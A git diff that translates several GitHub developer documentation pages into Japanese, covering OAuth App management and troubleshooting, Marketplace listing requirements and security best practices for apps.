--- a/translations/ja-JP/content/developers/apps/managing-oauth-apps/index.md
+++ b/translations/ja-JP/content/developers/apps/managing-oauth-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing OAuth Apps
-intro: 'After you create and register an OAuth App, you can make modifications to the app, change permissions, transfer ownership, and delete the app.'
+title: OAuth Appの管理
+intro: OAuth Appを作成して登録した後、そのアプリケーションを変更したり、権限を変更したり、所有権を移譲したり、アプリケーションを削除したりできます。
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps
   - /apps/managing-oauth-apps
diff --git a/translations/ja-JP/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md b/translations/ja-JP/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
index c6196ae921..5837e36045 100644
--- a/translations/ja-JP/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
+++ b/translations/ja-JP/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Modifying an OAuth App
+title: OAuth Appの変更
 intro: '{% data reusables.shortdesc.modifying_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app
@@ -13,9 +13,10 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
 {% data reusables.user-settings.modify_oauth_app %}
-1. Modify the {% data variables.product.prodname_oauth_app %} information that you'd like to change.
+1. 修正したい{% data variables.product.prodname_oauth_app %}の情報を変更してください。
 {% data reusables.user-settings.update_oauth_app %}
diff --git a/translations/ja-JP/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md b/translations/ja-JP/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
index 975ec5bafb..ddb0eb7239 100644
--- a/translations/ja-JP/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
+++ b/translations/ja-JP/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Transferring ownership of an OAuth App
+title: OAuth App の所有権を移譲する
 intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app
@@ -12,18 +12,14 @@ versions:
   ghec: '*'
 topics:
   - OAuth Apps
-shortTitle: Transfer ownership
+shortTitle: 所有権の移譲
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
-![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
-5. Click **Transfer ownership**.
-![Button to transfer ownership](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
-6. Type the name of the {% data variables.product.prodname_oauth_app %} you want to transfer.
-![Field to enter the name of the app to transfer](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
-7. Type the name of the user or organization you want to transfer the {% data variables.product.prodname_oauth_app %} to.
-![Field to enter the user or org to transfer to](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
-8. Click **Transfer this application**.
-![Button to transfer the application](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
+4. 変更する {% data variables.product.prodname_oauth_app %} を選択します。 ![アプリケーションの選択](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. [**Transfer ownership**]をクリックします。 ![所有権を移譲するボタン](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
+6. 移譲する {% data variables.product.prodname_oauth_app %} の名前を入力します。 ![移譲するアプリケーションの名前を入力するフィールド](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
+7. {% data variables.product.prodname_oauth_app %} を移譲するユーザまたは Organization の名前を入力します。 ![移譲先のユーザまたはOrganizationの名前を入力するフィールド](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
+8. [**Transfer this application**] をクリックします。 ![アプリケーションを移譲するボタン](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md b/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
index ce44a8e347..06e0b195ee 100644
--- a/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
+++ b/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
@@ -1,5 +1,5 @@
 ---
-title: Troubleshooting authorization request errors
+title: 認可リクエストエラーのトラブルシューティング
 intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors
@@ -12,42 +12,38 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Troubleshoot authorization
+shortTitle: 認可のトラブルシューティング
 ---
-## Application suspended
 
-If the OAuth App you set up has been suspended (due to reported abuse, spam, or a mis-use of the API), GitHub will redirect to the registered callback URL using the following parameters to summarize the error:
+## アプリケーションのサスペンド
+
+設定した OAuth Appが (不正利用の報告、スパム、APIの誤用により) サスペンドされた場合、GitHubは以下のパラメータを使用して、エラーを手短に説明する、登録されたコールバックURLにリダイレクトします。
 
     http://your-application.com/callback?error=application_suspended
       &error_description=Your+application+has+been+suspended.+Contact+support@github.com.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23application-suspended
       &state=xyz
 
-To solve issues with suspended applications, please contact {% data variables.contact.contact_support %}.
+サスペンドされたアプリケーションに関する問題を解決するには、{% data variables.contact.contact_support %} までご連絡ください。
 
-## Redirect URI mismatch
+## リダイレクトURIの不一致
 
-If you provide a `redirect_uri` that doesn't match what you've registered with your application, GitHub will redirect to the registered callback URL with the following parameters summarizing the error:
+指定した`redirect_uri`がアプリケーションで登録したものと一致しない場合、GitHubは以下のパラメータを使用して、エラーを手短に説明する、登録されたコールバックURLにリダイレクトします。
 
     http://your-application.com/callback?error=redirect_uri_mismatch
       &error_description=The+redirect_uri+MUST+match+the+registered+callback+URL+for+this+application.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23redirect-uri-mismatch
       &state=xyz
 
-To correct this error, either provide a `redirect_uri` that matches what you registered or leave out this parameter to use the default one registered with your application.
+このエラーを修正するには、登録したものと一致する`redirect_uri`を指定するか、アプリケーションで登録されているデフォルトのURIを使用するためパラメータを省略します。
 
-### Access denied
+### アクセス拒否
 
-If the user rejects access to your application, GitHub will redirect to
-the registered callback URL with the following parameters summarizing
-the error:
+If the ユーザがアプリケーションへのアクセスを拒否している場合、GitHubは以下のパラメータを使用して、エラーを手短に説明する、登録されたコールバックURLにリダイレクトします。
 
     http://your-application.com/callback?error=access_denied
       &error_description=The+user+has+denied+your+application+access.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23access-denied
       &state=xyz
 
-There's nothing you can do here as users are free to choose not to use
-your application. More often than not, users will just close the window
-or press back in their browser, so it is likely that you'll never see
-this error.
+このような場合、あなたにできることは何もありません。ユーザには、あなたのアプリケーションを使用しない自由があります。 ユーザはウインドウを閉じるかブラウザで戻ることが多いため、このエラーをあなたが見ることはないかもしれません。
diff --git a/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
index 5dc9f10a8b..73088a37bd 100644
--- a/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
+++ b/translations/ja-JP/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
@@ -1,5 +1,5 @@
 ---
-title: Troubleshooting OAuth App access token request errors
+title: OAuth Appアクセストークンのリクエストエラーのトラブルシューティング
 intro: '{% data reusables.shortdesc.troubleshooting_access_token_reques_errors_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
@@ -12,18 +12,18 @@ versions:
   ghec: '*'
 topics:
   - OAuth Apps
-shortTitle: Troubleshoot token request
+shortTitle: トークンリクエストのトラブルシューティング
 ---
+
 {% note %}
 
-**Note:** These examples only show JSON responses.
+**注釈:** この例ではJSONのレスポンスのみ示しています。
 
 {% endnote %}
 
-## Incorrect client credentials
+## 不正なクライアント認識情報
 
-If the client\_id and or client\_secret you pass are incorrect you will
-receive this error response.
+渡した client\_id や client\_secret が正しくない場合は、以下のエラーレスポンスを受け取ります。
 
 ```json
 {
@@ -33,12 +33,11 @@ receive this error response.
 }
 ```
 
-To solve this error, make sure you have the correct credentials for your {% data variables.product.prodname_oauth_app %}. Double check the `client_id` and `client_secret` to make sure they are correct and being passed correctly
-to {% data variables.product.product_name %}.
+このエラーを解決するには、{% data variables.product.prodname_oauth_app %} の正しい認証情報を持っているかを確認します。 `client_id` と `client_secret` が間違っていないか、また {% data variables.product.product_name %} に正しく渡されているかを再確認してください。
 
-## Redirect URI mismatch
+## リダイレクトURIの不一致
 
-If you provide a `redirect_uri` that doesn't match what you've registered with your {% data variables.product.prodname_oauth_app %}, you'll receive this error message:
+指定した `redirect_uri` が {% data variables.product.prodname_oauth_app %} で登録したものと一致しない場合、次のエラーメッセージが表示されます。
 
 ```json
 {
@@ -48,11 +47,9 @@ If you provide a `redirect_uri` that doesn't match what you've registered with y
 }
 ```
 
-To correct this error, either provide a `redirect_uri` that matches what
-you registered or leave out this parameter to use the default one
-registered with your application.
+このエラーを修正するには、登録したものと一致する`redirect_uri`を指定するか、アプリケーションで登録されているデフォルトのURIを使用するためパラメータを省略します。
 
-## Bad verification code
+## 不正な検証コード
 
 ```json
 {
@@ -63,9 +60,7 @@ registered with your application.
 }
 ```
 
-If the verification code you pass is incorrect, expired, or doesn't
-match what you received in the first request for authorization you will
-receive this error.
+渡した検証コードが間違っている、有効期限切れ、または最初の認可リクエストで受け取ったものと一致しない場合、このエラーを受信します。
 
 ```json
 {
@@ -75,5 +70,4 @@ receive this error.
 }
 ```
 
-To solve this error, start the [OAuth authorization process again](/apps/building-oauth-apps/authorizing-oauth-apps/)
-and get a new code.
+この問題を解決するには、[OAuth Appの認可](/apps/building-oauth-apps/authorizing-oauth-apps/)のプロセスを再び開始し、新しいコードを取得します。
diff --git a/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
index 4a6292a7c8..36aff24ba2 100644
--- a/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
+++ b/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
@@ -1,6 +1,6 @@
 ---
-title: Requirements for listing an app
-intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.'
+title: アプリケーションのリストのための要件
+intro: '{% data variables.product.prodname_marketplace %}上のアプリケーションは、リストを公開する前にこのページに概要がある要件を満たさなければなりません。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
@@ -14,67 +14,68 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Listing requirements
+shortTitle: リストの要件
 ---
+
 <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.-->
 
-The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app.
+{% data variables.product.prodname_marketplace %}上にアプリケーションをリストするための要件は、提供するのが無料なのか有料アプリケーションなのかによって変わります。
 
-## Requirements for all {% data variables.product.prodname_marketplace %} listings
+## すべての{% data variables.product.prodname_marketplace %}リストの要件
 
-All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+{% data variables.product.prodname_marketplace %}上のすべてのリストは、{% data variables.product.product_name %}コミュニティに価値を提供するツールのためのものでなければなりません。 公開のためにリストをサブミットする際には、[{% data variables.product.prodname_marketplace %}開発者契約](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)の条項を読んで同意しなければなりません。
 
-### User experience requirements for all apps
+### すべてのアプリケーションに対するユーザ体験の要件
 
-All listings should meet the following requirements, regardless of whether they are for a free or paid app.
+すべてのリストは、無料のアプリケーションのためのものか、有料アプリケーションのためのものであるかにかかわらず、以下の要件を満たさなければなりません。
 
-- Listings must not actively persuade users away from {% data variables.product.product_name %}.
-- Listings must include valid contact information for the publisher.
-- Listings must have a relevant description of the application.
-- Listings must specify a pricing plan.
-- Apps must provide value to customers and integrate with the platform in some way beyond authentication.
-- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only.
-- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+- リストはユーザを積極的に{% data variables.product.product_name %}から離れさせようとしてはなりません。
+- リストは、パブリッシャーの有効な連絡先の情報を含んでいなければなりません。
+- リストには、アプリケーションの適切な説明がなければなりません。
+- リストは価格プランを指定しなければなりません。
+- アプリケーションは顧客に価値を提供し、認証以外の方法でプラットフォームと統合されていなければなりません
+- アプリケーションケーションは{% data variables.product.prodname_marketplace %}で公開されなければならず、ベータや招待のみでの利用であってはなりません。
+- アプリケーションは、{% data variables.product.prodname_marketplace %} APIを使ってプランの変更やキャンセルがあったことをパブリッシャーに知らせるために、webhookイベントがセットアップされていなければなりません。 詳しい情報については「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。
 
-For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)."
+優れた顧客体験を提供することに関する詳細な情報については、「[アプリケーションの顧客体験のベストプラクティス](/developers/github-marketplace/customer-experience-best-practices-for-apps)」を参照してください。
 
-### Brand and listing requirements for all apps
+### すべてのアプリケーションに対するブランドとリストの要件
 
-- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)."
-- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
-- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
+- GitHubのログを使用するアプリケーションは、{% data variables.product.company_short %}ガイドラインに従わなければなりません。 詳しい情報については「[{% data variables.product.company_short %}ロゴと利用](https://github.com/logos)」を参照してください。
+- アプリケーションは、「[{% data variables.product.prodname_marketplace %}リストの説明の作成](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)」にある推奨事項を満たすロゴ、機能カード、スクリーンショット画像を持っていなければなりません。
+- リストには、十分に書かれた文法上の誤りがない説明が含まれていなければなりません。 リストの作成のガイダンスとしては、「[{% data variables.product.prodname_marketplace %}リストの説明の作成](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)」を参照してください。
 
-To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)."
+顧客を保護するために、セキュリティのベストプラクティスにも従うことをおすすめします。 詳しい情報については「[アプリケーションのセキュリティのベストプラクティス](/developers/github-marketplace/security-best-practices-for-apps)」を参照してください。
 
-## Considerations for free apps
+## 無料アプリケーションに関する留意点
 
-{% data reusables.marketplace.free-apps-encouraged %} 
+{% data reusables.marketplace.free-apps-encouraged %}
 
-## Requirements for paid apps
+## 有料アプリケーションの要件
 
-To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+{% data variables.product.prodname_marketplace %}でアプリケーションの有料プランを公開するには、そのアプリケーションが検証済みパブリッシャーであるOrganizationの所有である必要があります。 検証プロセスやアプリケーションの所有権移譲の詳細については、「[Organizationのパブリッシャー検証プロセスを申請する](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)」を参照してください。
 
-If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+アプリケーションが既に公開されており、あなたが検証済みパブリッシャーである場合は、価格プランエディタから新しく有料プランを公開できます。 詳しい情報については、「[リストに対する価格プランの設定](/developers/github-marketplace/setting-pricing-plans-for-your-listing)」を参照してください。
 
-To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements:
+有料アプリケーション (または有料プランを提供するアプリケーション) を公開するには、以下の要件も満たす必要があります。
 
-- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations.
-- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users.
-- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below.
+- {% data variables.product.prodname_github_apps %}は最低100件のインストールが必要です。
+- {% data variables.product.prodname_oauth_apps %}は最低200ユーザが必要です。
+- すべての有料アプリケーションは、新規購入、アップグレード、ダウングレード、キャンセル、無料トライアルの{% data variables.product.prodname_marketplace %}購入イベントを処理できなければなりません。 詳しい情報については、以下の「[有料アプリケーションの支払い要件](#billing-requirements-for-paid-apps)」を参照してください。
 
-When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing.
+アプリケーションを{% data variables.product.prodname_marketplace %}上で公開する準備ができたら、アプリケーション掲載のために検証をリクエストする必要があります。
 
 {% note %}
 
-**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)."
+**注釈:** {% data reusables.marketplace.app-transfer-to-org-for-verification %}アプリケーションをOrganizationに移譲する方法については、[公開のためのリストのサブミット](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)」を参照してください。
 
 {% endnote %}
 
-## Billing requirements for paid apps
+## 有料アプリケーションの支払い要件
 
-Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+アプリケーションは支払いを処理する必要はありませんが、{% data variables.product.prodname_marketplace %}購入イベントを使って新規の購入、アップグレード、ダウングレード、キャンセル、無料トライアルを管理できなければなりません。 これらのイベントをアプリケーションに統合する方法については、「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。
 
-Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.product.product_location %}.
+GitHubの支払いAPIを使えば、顧客はGitHubを離れることなくアプリケーションを購入し、自分の{% data variables.product.product_location %}のアカウントにすでに結合されている支払い方法でサービスに対する支払いを行えます。
 
-- Apps must support both monthly and annual billing for paid subscriptions purchases.
-- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+- アプリケーションは、有料のサブスクリプションの購入について、月次及び年次の支払いをサポートしなければなりません。
+- リストは、無料及び有料プランの任意の組み合わせを提供できます。 無料プランはオプションですが、推奨されます。 詳しい情報については「[{% data variables.product.prodname_marketplace %}リストの価格プランの設定](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)」を参照してください。
diff --git a/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
index edf1015910..3f8ecbcc51 100644
--- a/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
+++ b/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
@@ -1,63 +1,63 @@
 ---
-title: Security best practices for apps
-intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.'
+title: アプリケーションのセキュリティベストプラクティス
+intro: '{% data variables.product.prodname_marketplace %}上でセキュアなアプリケーションを共有する準備のガイドライン'
 redirect_from:
   - /apps/marketplace/getting-started/security-review-process
   - /marketplace/getting-started/security-review-process
   - /developers/github-marketplace/security-review-process-for-submitted-apps
   - /developers/github-marketplace/security-best-practices-for-apps
-shortTitle: Security best practice
+shortTitle: セキュリティベストプラクティス
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Marketplace
 ---
-If you follow these best practices it will help you to provide a secure user experience.
 
-## Authorization, authentication, and access control
+以下のベストプラクティスに従えば、セキュアなユーザ体験を提供するための役に立つでしょう。
 
-We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details.
-- Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia.
-- Apps should provide customers with a way to delete their account, without having to email or call a support person.
-- Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately.
-- Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code.
-- Apps should not share service accounts such as email or database services to manage your SaaS service.
-- All services used in your app should have unique login and password credentials.
-- Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties.
-- Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps):
-  - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/).
-  - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+## 認可、認証、アクセスコントロール
 
-## Data protection
+OAuth AppよりもGitHub Appを作成することをおすすめします。 {% data reusables.marketplace.github_apps_preferred %}. 詳細については、「[GitHub AppsとOAuth Appsの違い](/apps/differences-between-apps/)」を参照してください。
+- アプリケーションは、最小権限の原則を用い、アプリケーションが意図された機能を実行するために必要なOAuthのスコープとGitHub Appの権限だけをリクエストすべきです。 詳しい情報については、Wikipediaで[最小権限の原則](https://ja.wikipedia.org/wiki/最小権限の原則)を参照してください。
+- アプリケーションは、サポート担当者にメールや連絡をすることなく、顧客が自分のアカウントを削除する方法を提供しなければなりません。
+- アプリケーションは、異なる実装間でトークンを共有してはなりません。 たとえば、デスクトップのアプリケーションはWebベースのアプリケーションとは別のトークンを持つべきです。 個々のトークンを使うことで、それぞれのアプリケーションはGitHubのリソースに必要なアクセスを個別にリクエストできます。
+- ユーザの種類に応じて求められる機能によって、様々なユーザのロールを持たせてアプリケーションを設計してください。 たとえば、標準的なユーザは管理機能を利用できるべきではなく、支払いマネージャーはリポジトリのコードにプッシュアクセスできるべきではありません。
+- アプリケーションは、SaaSサービスを管理するためのメールやデータベースサービスのようなサービスアカウントを共有するべきではありません。
+- アプリケーションで使用されるすべてのサービスは、固有のログインとパスワードクレデンシャルを持たなければなりません。
+- プロダクションのホスティングインフラストラクチャへの管理権限でのアクセスは、管理業務を持つエンジニアや従業員にのみ与えられるべきです。
+- アプリケーションは、認証に個人アクセストークンを使うべきではなく、[OAuth App](/apps/about-apps/#about-oauth-apps)あるいは[GitHub App](/apps/about-apps/#about-github-apps)として認証されなければなりません。
+  - OAuth Appsは、[OAuthトークン](/apps/building-oauth-apps/authorizing-oauth-apps/)を使って認証を受けるべきです。
+  - GitHub Appは、[JSON Webトークン (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)、[OAuthトークン](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)、[インストールアクセストークン](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)のいずれかで認証を受けるべきです。
 
-- Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git.
-- Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables).
-- Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub.
-- Apps should not require the user to provide their GitHub password.
-- Apps should encrypt tokens, client IDs, and client secrets.
+## データの保護
 
-## Logging and monitoring
+- アプリケーションは、パブリックなインターネット上で転送されるデータを、有効なTLS証明書を用いたHTTPSもしくはSSH for Gitで暗号化すべきです。
+- アプリケーションは、クライアントIDとクライアントシークレットキーをセキュアに保存すべきです。 それらは[環境変数](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables)に保存することをおすすめします。
+- アプリケーションは、ユーザからの要求を受けてから30日以内、あるいはユーザのGitHubとの法的な関係が終了してから30日以内に、すべてのGitHubユーザデータを削除すべきです。
+- アプリケーションは、ユーザにGitHubパスワードの提供を求めるべきではありません。
+- アプリケーションは、トークン、クライアントID、クライアントシークレットを暗号化すべきです。
 
-Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year.
-A security log should include:
+## ロギング及びモニタリング
 
-- Authentication and authorization events
-- Service configuration changes
-- Object reads and writes
-- All user and group permission changes
-- Elevation of role to admin
-- Consistent timestamping for each event
-- Source users, IP addresses, and/or hostnames for all logged actions
+アプリケーションは、ロギング及びモニタリングの機能を持つべきです。 アプリケーションのログは最低でも30日間保存され、最低でも1年間アーカイブされるべきです。 セキュリティログは以下を含まなければなりません。
 
-## Incident response workflow
+- 認証及び認可イベント
+- サービス設定の変更
+- オブジェクトの読み書き
+- すべてのユーザ及びグループの権限変更
+- ロールの管理者への昇格
+- 各イベントに対する一貫したタイムスタンプ
+- 記録されたすべてのアクションのソースユーザ、IPアドレス及びホスト名
 
-To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident.
+## インシデントレスポンスのワークフロー
 
-For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template.
+ユーザのセキュアな体験を提供するためには、アプリケーションをリストする前に明確なインシデントレスポンスプランを用意しておくべきです。 サードパーティのベンダを利用するよりは、自社内にセキュリティ及び運用インシデントレスポンスチームを持つことをおすすめします。 インシデントの確認から24時間以内に{% data variables.product.product_name %}に通知する機能を持っていなければなりません。
 
-## Vulnerability management and patching workflow
+インシデントレスポンスのワークフローの例としては、[SANS Institute website](https://www.sans.org/information-security-policy/)の"Data Breach Response Policy"を参照してください。 インシデントが生じた際に取るべき明確なステップを記した短いドキュメントは、長いポリシーテンプレートよりも価値があります。
 
-You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability.
+## 脆弱性管理とパッチ適用ワークフロー
 
-If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)."
+プロダクションインフラストラクチャーの定期的な脆弱性スキャンを行わなければなりません。 脆弱性スキャンの結果をトリアージし、脆弱性の修正までの期間を定義して同意しなければなりません。
+
+完全な脆弱性管理のプログラムをセットアップする準備ができていない場合は、パッチ適用のプロセスを作成することから始めると役立ちます。 パッチ管理ポリシーを作成するためのガイダンスとしては、TechRepublicの記事「[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)」を参照してください。
diff --git a/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
index 1faccc7c50..bef496e681 100644
--- a/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
